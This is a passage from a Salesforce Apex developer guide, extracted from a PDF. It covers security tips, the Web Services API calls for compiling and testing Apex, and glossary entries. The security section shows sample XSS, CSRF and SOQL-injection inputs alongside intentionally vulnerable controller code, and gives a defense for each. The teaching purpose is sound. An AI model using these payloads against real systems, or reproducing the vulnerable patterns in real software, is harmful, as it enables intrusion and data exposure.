<script>var ret = "{!$CurrentPage.parameters.retURL}";script>var ret = "{!$CurrentPage.parameters.retURL}";</script>

requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F

results in:
<script>var ret = "foo";alert('xss');//";</script>

The JavaScript executes, and the alert is displayed. In this case, to prevent the JavaScript being executed, use the JSENCODE function. For example
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>

Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and may not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be

383

Appendix C: Security Tips for Apex and Visualforce Development

SOQL Injection

any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this:
<img src="http://www.yourwebpage.com/yourapplication/[email protected]&type=admin....." height=1 width=1 />

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods. For more information and traditional defenses, see the following articles: http://www.owasp.org/index.php/Cross-Site_Request_Forgery http://www.cgisecurity.com/articles/csrf-faq.shtml http://shiflett.org/articles/cross-site-request-forgeries

Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods. Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page> public class myClass { public void init() { Id id = ApexPages.currentPage().getParameters().get('id'); Account obj = [select id, Name FROM Account WHERE id = :id]; delete obj; return ; } }

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page may have sent the user to this page using a CSRF attack and could have provided any value they wish for the id parameter. There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around could be to insert an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated.

SOQL Injection
In other programming languages, this flaw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is

384

Appendix C: Security Tips for Apex and Visualforce Development

SOQL Injection

not validated, it may include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands. For more information on SQL Injection attacks see: http://www.owasp.org/index.php/SQL_injection http://www.owasp.org/index.php/Blind_SQL_Injection http://www.owasp.org/index.php/Guide_to_SQL_Injection http://www.google.com/search?q=sql+injection

SOQL Injection Vulnerability in Apex Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" > <apex:form> <apex:outputText value="Enter Name" /> <apex:inputText value="{!name}" /> <apex:commandButton value="Query" action="{!query} /> </apex:form> </apex:page> public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String qryString = 'SELECT Id FROM Contact WHERE (IsDeleted = false and Name like \'%' + name + '%\')'; queryResult = Database.query(qryString); return null; } }

This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built dynamically and then executed with the Database.query method. If the user provided a normal value, the statement executes as expected:
name = Bob sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

However, what if the user provided unexpected input, such as:

name = test%') or (Name like '

In that case, the query string becomes:

SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%test%') or (Name like '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any vulnerable query.

385

Appendix C: Security Tips for Apex and Visualforce Development

Data Access Control

SOQL Injection Defenses To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable example above could be re-written using static SOQL as follows:
public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String queryName = '%' + name + '%'; queryResult = [SELECT Id FROM Contact WHERE (IsDeleted = false and Name like :queryName)]; return null; } }

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Data Access Control

The Force.com platform makes extensive use of data sharing rules. Each object can have unique permissions for which users and profiles can read, create, edit, and delete. These restrictions are enforced when using all standard controllers. When using an Apex class, the built-in profile permissions and field-level security restrictions are not respected during execution. The default behavior is that an Apex class has the ability to read and update all data with the organization. Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden from users by profile-based permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For example, consider the following Apex pseudo-code:
public class customController { public void read() { Contact contact = [Select id from Contact where Name = :value]; } }

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController { . . . }

The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than granting full access to all records.

386

Appendix

D
Force.com Web Services API Calls and SOAP Headers for Apex
This appendix details the Web Services API calls that are available by default for Apex. Note: Apex class methods can be exposed as custom Force.com Web Services API calls and used to access external servers. Use the webService keyword to define these methods. For more information, see Considerations for Using the WebService Keyword on page 177. Any Apex scripts saved using the Web Service API calls uses the same version of the API as the endpoint of the API request. For example, if you want to use API version 17.0, use endpoint 17.0:
https://na1-api.salesforce.com/services/Soap/s/17.0

For information on all other Web Services API calls, including those that can be used to extend or implement any existing Apex IDEs, contact your salesforce.com representative. This appendix details the following Web Service API calls:
compileAndTest() compileClasses() compileTriggers() executeanonymous() runTests()

The following SOAP headers are available in API calls for Apex: DebuggingHeader PackageVersionHeader

Also see the Force.com Metadata API Developer's Guide for two additional calls:
deploy() retrieve()

compileAndTest()
Compile and test your Apex in a single call.

387

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

compileAndTest()

Syntax
CompileAndTestResult[] = compileAndTest(CompileAndTestRequest request);

Usage Use this call to both compile and test the Apex you specify with a single call. Production organizations (not a Developer Edition or Sandbox Edition) must use this call instead of compileClasses() or compileTriggers(). This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the Force.com Web Services API Developer's Guide. All specified tests must pass, otherwise data is not saved to the database. If this call is invoked in a production organization, the RunTestsRequest property of the CompileAndTestRequest is ignored, and all unit tests defined in the organization are run and must pass. Sample CodeJava Note that the following example sets checkOnly to true so that this class is compiled and tested, but the classes are not saved to the database.
{ CompileAndTestRequest request; CompileAndTestResult result = null; String triggerBody = "trigger t1 on Account (before insert){ " + " for(Account a:Trigger.new){ " + " a.description = 't1_UPDATE';}" + "}"; String classToTestTriggerBody = "public class TestT1{" + " public static testmethod void test1(){" + " Account a = new Account(name='TEST');" + " insert(a);" + " a = [select id,description from Account where id=:a.id];" + " System.assert(a.description.contains('t1_UPDATE'));" + " }" + "}"; String " " " " "}"; classBody = "public class c1{" + public static String s ='HELLO';" + public static testmethod void test1(){" + System.assert(s=='HELLO');" + }" +

// TEST // Compile only one class which meets all test requirements for checking request = new CompileAndTestRequest(); request.setClasses(new String[]{classBody, classToTestTriggerBody}); request.setTriggers(new String[]{triggerBody}); request.setCheckOnly(true); try { result = apexBinding.compileAndTest(request); } catch (RemoteException e) { System.out.println("An unexpected error occurred: " + e.getMessage()); } assert (result.isSuccess()); }

388

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

CompileAndTestRequest

Arguments Name
request

Type CompileAndTestRequest

Description A request that includes the Apex and the values for any fields that need to be set for this request.

Response CompileAndTestResult

CompileAndTestRequest
The compileAndTest() call contains this object, a request with information about the Apex to be compiled. A CompileAndTestRequest object has the following properties: Name
checkOnly classes deleteClasses deleteTriggers runTestsRequest

Type boolean string string string

Description If set to true, the Apex classes and triggers submitted are not saved to your organization, whether or not the code successfully compiles and unit tests pass. Content of the class or classes to be compiled. Name of the class or classes to be deleted. Name of the trigger or triggers to be deleted.

RunTestsRequest Specifies information about the Apex to be tested. If this request is sent in a production organization, this property is ignored and all unit tests are run for your entire organization. string Content of the trigger or triggers to be compiled.

triggers

Note the following about this object: This object contains the RunTestsRequest property. If the request is run in a production organization, the property is ignored and all tests are run. If any errors occur during compile, delete, testing, or if the goal of 75% code coverage is missed, no classes or triggers are saved to your organization. This is the same requirement as Force.com AppExchange package testing. All triggers must have code coverage. If a trigger has no code coverage, no classes or triggers are saved to your organization.

CompileAndTestResult
The compileAndTest() call returns information about the compile and unit test run of the specified Apex, including whether it succeeded or failed. A CompileAndTestResult object has the following properties: Name
classes deleteClasses

Type CompileClassResult DeleteApexResult

Description Information about the success or failure of the compileAndTest() call if classes were being compiled. Information about the success or failure of the compileAndTest() call if classes were being deleted.

389

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

CompileAndTestResult

Name
deleteTriggers runTestsResult success

Type DeleteApexResult RunTestsResult boolean*

Description Information about the success or failure of the compileAndTest() call if triggers were being deleted. Information about the success or failure of the Apex unit tests, if any were specified. If true, all of the classes, triggers, and unit tests specified ran successfully. If any class, trigger, or unit test failed, the value is false, and details are reported in the corresponding result object: CompileClassResult CompileTriggerResult DeleteApexResult RunTestsResult Information about the success or failure of the compileAndTest() call if triggers were being compiled.

triggers

CompileTriggerResult

* Link goes to the Force.com Web Services API Developer's Guide. CompileClassResult This object is returned as part of a compileAndTest() or compileClasses() call. It contains information about whether or not the compile and run of the specified Apex was successful. A CompileClassResult object has the following properties: Name
bodyCrc column id line name problem success

Type int* int* ID* int* string* string* boolean*

Description The CRC (cyclic redundancy check) of the class or trigger file. The column number where an error occurred, if one did. An ID is created for each compiled class. The ID is unique within an organization. The line number where an error occurred, if one did. The name of the class. The description of the problem if an error occurred. If true, the class or classes compiled successfully. If false, problems are specified in other properties of this object.

* Link goes to the Force.com Web Services API Developer's Guide. CompileTriggerResult This object is returned as part of a compileAndTest() or compileTriggers() call. It contains information about whether or not the compile and run of the specified Apex was successful. A CompileTriggerResult object has the following properties:

390

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

compileClasses()

Name
bodyCrc column id line name problem success

Type int* int* ID* int* string* string* boolean*

Description The CRC (cyclic redundancy check) of the trigger file. The column where an error occurred, if one did. An ID is created for each compiled trigger. The ID is unique within an organization. The line number where an error occurred, if one did. The name of the trigger. The description of the problem if an error occurred. If true, all the specified triggers compiled and ran successfully. If the compilation or execution of any trigger fails, the value is false.

* Link goes to the Force.com Web Services API Developer's Guide. DeleteApexResult This object is returned when the compileAndTest() call returns information about the deletion of a class or trigger. A DeleteApexResult object has the following properties: Name
id problem success

Type ID* string* boolean*

Description ID of the deleted trigger or class. The ID is unique within an organization. The description of the problem if an error occurred. If true, all the specified classes or triggers were deleted successfully. If any class or trigger is not deleted, the value is false.

* Link goes to the Force.com Web Services API Developer's Guide.

compileClasses()
Compile your Apex in Developer Edition or Sandbox Edition organizations. Syntax
CompileClassResult[] = compileClasses(string[] classList);

Usage Use this call to compile Apex classes in Developer Edition or Sandbox Edition organizations. Production organizations must use compileAndTest(). This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the Force.com Web Services API Developer's Guide.

391

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

compileTriggers()

Sample CodeJava
public void compileClassesSample() { String p1 = "public class p1 {\n" + "public static Integer var1 = 0;\n" + "public static void methodA() {\n" + " var1 = 1;\n" + "}\n" + "public static void methodB() {\n" + " p2.MethodA();\n" + "}\n" + "}"; String p2 = "public class p2 {\n" + "public static Integer var1 = 0;\n" + "public static void methodA() {\n" + " var1 = 1;\n" + "}\n" + "public static void methodB() {\n" + " p1.MethodA();\n" + "}\n" + "}"; CompileClassResult[] r = new CompileClassResult[0]; try { r = apexBinding.compileClasses(new String[]{p1, p2}); } catch (RemoteException e) { System.out.println("An unexpected error occurred: " + e.getMessage()); } if (!r[0].isSuccess()) { System.out.println("Couldn't compile class p1 because: " + r[0].getProblem()); } if (!r[1].isSuccess()) { System.out.println("Couldn't compile class p2 because: " + r[1].getProblem()); } }

Arguments Name
scripts

Type string*

Description A request that includes the Apex classes and the values for any fields that need to be set for this request.

Response CompileClassResult

compileTriggers()
Compile your Apex triggers in Developer Edition or Sandbox Edition organizations. Syntax
CompileTriggerResult[] = compileTriggers(string[] triggerList);

Usage Use this call to compile the specified Apex triggers in your Developer Edition or Sandbox Edition organization. Production organizations must use compileAndTest().

392

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

executeanonymous()

This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the Force.com Web Services API Developer's Guide. Arguments Name
scripts

Type string*

Description A request that includes the Apex trigger or triggers and the values for any fields that need to be set for this request.

Response CompileTriggerResult

executeanonymous()
Executes a block of Apex. Syntax
ExecuteAnonymousResult[] = binding.executeanonymous(string apexcode);

Usage Use this call to execute an anonymous block of Apex. This call can be executed from AJAX. This call supports the API DebuggingHeader and SessionHeader. If a component in a package with restricted API access issues this call, the request is blocked. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. Arguments Name
apexcode

Type string*

Description A block of Apex.

Force.com Web Services API Developer's Guide contains information about security, access, and SOAP headers. Response ExecuteAnonymousResult[]

ExecuteAnonymousResult
The executeanonymous() call returns information about whether or not the compile and run of the code was successful. An ExecuteAnonymousResult object has the following properties:

393

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

runTests()

Name
column compileProblem compiled exceptionMessage

Type int* string* boolean* string*

Description If compiled is False, this field contains the column number of the point where the compile failed. If compiled is False, this field contains a description of the problem that caused the compile to fail. If True, the code was successfully compiled. If False, the column, line, and compileProblem fields are not null. If success is False, this field contains the exception message for the failure. If success is False, this field contains the stack trace for the failure. If compiled is False, this field contains the line number of the point where the compile failed. If True, the code was successfully executed. If False, the exceptionMessage and exceptionStackTrace values are not null.

exceptionStackTrace string* line success

int* boolean*

* Link goes to the Force.com Web Services API Developer's Guide.

runTests()
Run your Apex unit tests. Syntax
RunTestsResult[] = binding.runTests(RunTestsRequest request);

Usage To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition. Use this call to run your Apex unit tests. This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the Force.com Web Services API Developer's Guide. Sample CodeJava
public void runTestsSample() { String sessionId = "sessionID goes here"; String url = "url goes here"; // set the apex stub with session id received from logging in with the partner API _SessionHeader sh = new _SessionHeader(); apexBinding.setHeader( new ApexServiceLocator().getServiceName().getNamespaceURI(), "SessionHeader", sh); // set the url received from logging in with the partner API to the apex stub apexBinding._setProperty(ApexBindingStub.ENDPOINT_ADDRESS_PROPERTY, url); // set the debugging header _DebuggingHeader dh = new _DebuggingHeader();

394

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

runTests()

dh.setDebugLevel(LogType.Profiling); apexBinding.setHeader( new ApexServiceLocator().getServiceName().getNamespaceURI(), "DebuggingHeader", dh); long start = System.currentTimeMillis(); RunTestsRequest rtr = new RunTestsRequest(); rtr.setAllTests(true); RunTestsResult res = null; try { res = apexBinding.runTests(rtr); } catch (RemoteException e) { System.out.println("An unexpected error occurred: " + e.getMessage()); } System.out.println("Number of tests: " + res.getNumTestsRun()); System.out.println("Number of failures: " + res.getNumFailures()); if (res.getNumFailures() > 0) { for (RunTestFailure rtf : res.getFailures()) { System.out.println("Failure: " + (rtf.getNamespace() == null ? "" : rtf.getNamespace() + ".") + rtf.getName() + "." + rtf.getMethodName() + ": " + rtf.getMessage() + "\n" + rtf.getStackTrace()); } } if (res.getCodeCoverage() != null) { for (CodeCoverageResult ccr : res.getCodeCoverage()) { System.out.println("Code coverage for " + ccr.getType() + (ccr.getNamespace() == null ? "" : ccr.getNamespace() + ".") + ccr.getName() + ": " + ccr.getNumLocationsNotCovered() + " locations not covered out of " + ccr.getNumLocations()); if (ccr.getNumLocationsNotCovered() > 0) { for (CodeLocation cl : ccr.getLocationsNotCovered()) System.out.println("\tLine " + cl.getLine() + ", column " + cl.getColumn()); } if (ccr.getSoqlInfo() != null) { System.out.println(" SOQL profiling"); for (CodeLocation cl : ccr.getSoqlInfo()) System.out.println("\tLine " + cl.getLine() + ", column " + cl.getColumn() + ": " + cl.getNumExecutions() + " time(s) in " + cl.getTime() + " ms"); } if (ccr.getDmlInfo() != null) { System.out.println(" DML profiling"); for (CodeLocation cl : ccr.getDmlInfo()) System.out.println("\tLine " + cl.getLine() + ", column " + cl.getColumn() + ": " + cl.getNumExecutions() + " time(s) in " + cl.getTime() + " ms"); } if (ccr.getMethodInfo() != null) { System.out.println(" Method profiling"); for (CodeLocation cl : ccr.getMethodInfo()) System.out.println("\tLine " + cl.getLine() + ", column " + cl.getColumn() + ": " + cl.getNumExecutions() + " time(s) in " + cl.getTime() + " ms"); } } } System.out.println("Finished in " + (System.currentTimeMillis() - start) + "ms"); }

395

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

RunTestsRequest

Arguments Name
request

Type RunTestsRequest

Description A request that includes the Apex unit tests and the values for any fields that need to be set for this request.

Response RunTestsResult

RunTestsRequest
The compileAndTest() call contains a request, CompileAndTestRequest with information about the Apex to be compiled. The request also contains this object which specifies information about the Apex to be tested. You can specify the same or different classes to be tested as being compiled. Since triggers cannot be tested directly, they are not included in this object. Instead, you must specify a class that calls the trigger. If the request is sent in a production organization, this request is ignored and all unit tests defined for your organization are run. A CompileAndTestRequest object has the following properties: Name
allTests classes namespace

Type boolean* string*[] string

Description If allTests is True, all unit tests defined for your organization are run. An array of one or more objects. If specified, the namespace that contains the unit tests to be run. Do not use this property if you specify allTests as true. Also, if you execute compileAndTest() in a production organization, this property is ignored, and all unit tests defined for the organization are run. Do not use after version 10.0. For earlier, unsupported releases, the content of the package to be tested.

packages

string*[]

RunTestsResult
The call returns information about whether or not the compilation of the specified Apex was successful and if the unit tests completed successfully. A RunTestsResult object has the following properties: Name
codeCoverage

Type CodeCoverageResult[]

Description An array of one or more CodeCoverageResult objects that contains the details of the code coverage for the specified unit tests. An array of one or more code coverage warnings for the test run. The results include both the total number of lines that could have been executed, as well as the number, line, and column positions of code that was not executed.

codeCoverageWarnings

CodeCoverageWarning[]

396

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

RunTestsResult

Name
failures

Type RunTestFailure[]

Description An array of one or more RunTestFailure objects that contain information about the unit test failures, if there are any. The number of failures for the unit tests. The number of unit tests that were run. An array of one or more RunTestSuccesses objects that contain information about successes, if there are any. The total cumulative time spent running tests. This can be helpful for performance monitoring.

numFailures numTestsRun successes

int int RunTestSuccess[]

totalTime

double

CodeCoverageResult The RunTestsResult object contains this object. It contains information about whether or not the compile of the specified Apex and run of the unit tests was successful. A CodeCoverageResult object has the following properties: Name
dmlInfo

Type CodeLocation[]

Description For each class or trigger tested, for each portion of code tested, this property contains the DML statement locations, the number of times the code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring. The ID of the CodeLocation. The ID is unique within an organization. For each class or trigger tested, if any code is not covered, the line and column of the code not tested, and the number of times the code was executed. For each class or trigger tested, the method invocation locations, the number of times the code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring. The name of the class covered. The namespace that contained the unit tests, if one is specified. The number of locations covered. For each class or trigger tested, the location of SOQL statements in the code, the number of times this code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.

id

ID

locationsNotCovered CodeLocation[]

methodInfo

CodeLocation[]

name namespace numLocations soqlInfo

string string int CodeLocation[]

397

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

RunTestsResult

Name
soslInfo

Type CodeLocation[]

Description For each class tested, the location of SOSL statements in the code, the number of times this code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring. Do not use. In early, unsupported releases, used to specify class or package.

type

string

CodeCoverageWarning The RunTestsResult object contains this object. It contains information about the Apex class which generated warnings. This object has the following properties: Name
id message name

Type ID string string

Description The ID of the class which generated warnings. The message of the warning generated. The name of the class that generated a warning. If the warning applies to the overall code coverage, this value is null. The namespace that contains the class, if one was specified.

namespace

string

RunTestFailure The RunTestsResult object returns information about failures during the unit test run. This object has the following properties: Name
id message methodName name namespace stackTrace time

Type ID string string string string string double

Description The ID of the class which generated failures. The failure message. The name of the method that failed. The name of the class that failed. The namespace that contained the class, if one was specified. The stack trace for the failure. The time spent running tests for this failed operation. This can be helpful for performance monitoring.

398

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

DebuggingHeader

Name
type

Type string

Description Do not use. In early, unsupported releases, used to specify class or package.

* Link goes to the Force.com Web Services API Developer's Guide. RunTestSuccess The RunTestsResult object returns information about successes during the unit test run. This object has the following properties: Name
id methodName name namespace time

Type ID string string string double

Description The ID of the class which generated the success. The name of the method that succeeded. The name of the class that succeeded. The namespace that contained the class, if one was specified. The time spent running tests for this operation. This can be helpful for performance monitoring.

CodeLocation The RunTestsResult object contains this object in a number of fields. This object has the following properties: Name
column line numExecutions time

Type int int int double

Description The column location of the Apex tested. The line location of the Apex tested. The number of times the Apex was executed in the test run. The total cumulative time spent at this location. This can be helpful for performance monitoring.

DebuggingHeader
Specifies that the response will contain the debug log in the return header, and specifies the level of detail in the debug header.

399

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

DebuggingHeader

API Calls
compileAndTest()executeanonymous()runTests()

Fields Element Name

debugLevel

Type logtype

Description This field has been deprecated and is only provided for backwards compatibility. Specifies the type of information returned in the debug log. The values are listed from the least amount of information returned to the most information returned. Valid values include: NONE DEBUGONLY DB PROFILING CALLOUT DETAIL For more information about these levels, see Debugging Apex API Calls on page 164.

categories

LogInfo[]

Specifies the type, as well as the amount of information returned in the debug log.

LogInfo Specifies the type, as well as the amount of information, returned in the debug log. The categories field takes a list of these objects. Fields Element Name
LogCategory

Type
string

Description Specify the type of information returned in the debug log. Valid values are: Db Workflow Validation Callout Apex_code Apex_profiling All For more information on log levels, see Setting Debug Log Categories and Levels in the Salesforce.com online help.

LogCategoryLevel

string

Specifies the amount of information returned in the debug log. Only the Apex_code LogCategory uses the log category levels. Valid log levels are (listed from lowest to highest):
ERROR WARN INFO

400

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex

PackageVersionHeader

Element Name

Type

Description
DEBUG FINE FINER FINEST

For more information on log levels, see Setting Debug Log Categories and Levels in the Salesforce.com online help.

PackageVersionHeader
Specifies the package version for each installed managed package. A package version is a set of components uploaded in a package. It is denoted by a version number that has the format majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program. For information on enabling patch versions for your organization, contact salesforce.com. As well as a set of components, a package version encompasses specific behavior. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. A managed package can have several versions with different content and behavior. This header allows you to specify the version used for each package referenced by your API client. If a package version is not specified for a package, the API client uses the version of the package that is selected in the Version Settings section in Setup Develop API. This header is available in API version 16.0 and later. API Calls
compileAndTest(), compileClasses(), compileTriggers(), executeanonymous()

Fields Element Name

packageVersions

Type

Description

PackageVersion[] A list of package versions for installed managed packages referenced by your API client.

PackageVersion Specifies a version of an installed managed package. It includes the following fields: Field
majorNumber

Type int int string

Description The major version number of a package version. A package version is denoted by majorNumber.minorNumber, for example 2.1. The minor version number of a package version. A package version is denoted by majorNumber.minorNumber, for example 2.1. The unique namespace of the managed package.

minorNumber

namespace

401

Glossary
A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z A Administrator (System Administrator) One or more individuals in your organization who can configure and customize the application. Users assigned to the System Administrator profile have administrator privileges. AJAX Toolkit A JavaScript wrapper around the API that allows you to execute any API call and access any object you have permission to view from within JavaScript code. For more information, see the AJAX Toolkit Developer's Guide. Anonymous Block, Apex An Apex script that does not get stored in Salesforce.com, but that can be compiled and executed through the use of the ExecuteAnonymousResult() API call, or the equivalent in the AJAX Toolkit. Apex Force.com Apex code is a strongly-typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex code enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex scripts can be initiated by Web service requests and from triggers on objects. Apex-Managed Sharing Enables developers to programmatically manipulate sharing to support their applications behavior. Apex-managed sharing is only available for custom objects. App Short for application. A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific business need. Salesforce.com provides standard apps such as Sales and Call Center. You can customize the standard apps to match the way you work. In addition, you can package an app and upload it to AppExchange along with related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce.com users from AppExchange. AppExchange AppExchange is a sharing interface from salesforce.com that allows you to browse and share apps and services for the Force.com platform. Application Programming Interface (API) The interface that a computer system, library, or application provides in order to allow other computer programs to request services from it and exchange data between them.

402

Glossary

Approval Process An automated process your organization can use to approve records in Salesforce.com. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. B Batch Apex The ability to perform long, complex operations on many records at a scheduled time using Apex. C Child Relationship A relationship that has been defined on an sObject that references another sObject as the one side of a one-to-many relationship. For example, contacts, opportunities, and tasks have child relationships with accounts. See also sObject. Class, Apex A template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables, exception types, and static initialization code. In most cases, Apex classes are modeled on their counterparts in Java. Client App An app that runs outside the Salesforce.com user interface and uses only the Force.com API or Bulk API. It typically runs on a desktop or mobile device. These apps treat the platform as a data source, using the development model of whatever tool and platform for which they are designed. See also Composite App and Native App. Clone Button or link that allows you to create a new item by copying the information from an existing item, for example, a contact or opportunity. Component, Visualforce Something that can be added to a Visualforce page with a set of tags, for example, <apex:detail>. Visualforce includes a number of standard components, or you can create your own custom components. Component Reference, Visualforce A description of the standard and custom Visualforce components that are available in your organization. You can access the component library from the development footer of any Visualforce page or the Visualforce Developer's Guide. Composite App An app that combines native platform functionality with one or more external Web services, such as Yahoo! Maps. Composite apps allow for more flexibility and integration with other services, but may require running and managing external code. See also Client App and Native App. Controller, Visualforce An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use the standard controllers that come by default with every standard or custom object, or they can use custom controllers. Controller Extension A controller extension is an Apex class that extends the functionality of a standard or custom controller.

403

Glossary

Cookie Client-specific data used by some Web applications to store user and session-specific information. Salesforce.com issues a session cookie only to record encrypted authentication information for the duration of a specific session. Custom App See App. Custom Controller A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the profile-based permissions and field-level security of the current user. Custom Field A field that can be added in addition to the standard fields to customize Salesforce.com for your organizations needs. Custom Links Custom URLs defined by administrators to integrate your Salesforce.com data with external websites and back-office systems. Formerly known as Web links. Custom Object Custom records that allow you to store information unique to your organization. D Database An organized collection of information. The underlying architecture of the Force.com platform includes a database where your data is stored. Data Loader A Force.com platform tool used to import and export data from your Salesforce.com organization. Data Manipulation Language (DML) An Apex method or operation that inserts, updates, or deletes records from the Force.com platform database. Data State The structure of data in an object at a particular point in time. Date Literal A keyword in a SOQL or SOSL query that represents a relative range of time such as last month or next year. Decimal Places Parameter for number, currency, and percent custom fields that indicates the total number of digits you can enter to the right of a decimal point, for example, 4.98 for an entry of 2. Note that the system rounds the decimal numbers you enter, if necessary. For example, if you enter 4.986 in a field with Decimal Places of 2, the number rounds to 4.99. Deprecated Component A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may involve redesigning some of the components in the managed package. Developers cannot delete some components in a Managed - Released package, but they can deprecate a component in a later package version so that new subscribers do not receive the component, while the component continues to function for existing subscribers and API integrations.

404

Glossary

